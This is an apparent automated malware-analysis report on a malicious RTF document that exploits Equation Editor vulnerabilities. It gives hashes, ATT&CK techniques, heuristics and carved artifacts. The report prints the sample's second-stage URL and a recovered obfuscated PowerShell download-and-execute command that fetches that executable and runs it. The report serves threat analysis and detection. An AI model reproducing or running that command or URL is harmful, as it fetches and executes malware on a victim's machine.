RTF malware analysis — malicious · 652e0e56d584ccd8

MALICIOUS

RTF

263.1 KB First seen: 2019-01-11

MD5: cb31da09131130b931087499d2f36191 SHA-1: 06b9b7ef465e2a97776f08848aad517bb73dc61f SHA-256: 652e0e56d584ccd8b6fbfe222dca46f3e3dc878629b6ac5a9d56058142516c3a

262 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains embedded OLE objects and specifically triggers heuristics related to Equation Editor vulnerabilities (CVE-2018-0802). The presence of ".exe" in the embedded URL suggests a downloader for a second-stage payload. The ClamAV detection name further confirms the exploit nature of the file.

Heuristics 7

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
ClamAV: Rtf.Exploit.CVE_2018_0802-6825822-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2018_0802-6825822-0
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
Package object class high RTF_OBJCLASS_PACKAGE

OLE Package object — can wrap arbitrary files
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
OLE object data medium RTF_OBJDATA

RTF contains 2 \objdata section(s) — embedded OLE objects
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://nghfh.com/goldi.exe In RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off0000006d.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x6D	478 bytes
SHA-256: `33e63d8af722a70830dada8ec9949b44a64cf2b695864b3f1edfac553f9de1bb`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): poweRShEll ""funCtioN abCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCc([String] $vvd){(New-Object System.Net.WebClient).DoWnLoadFilE($vvd,'%TEMP%\win.exe');STaRt-pRoCeSS
`objdata_01_off00011351.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x11351	4683 bytes
SHA-256: `25c532126829c05fb5f2b63a89d33784dc960600a406994403eb5eeb2a69b310`

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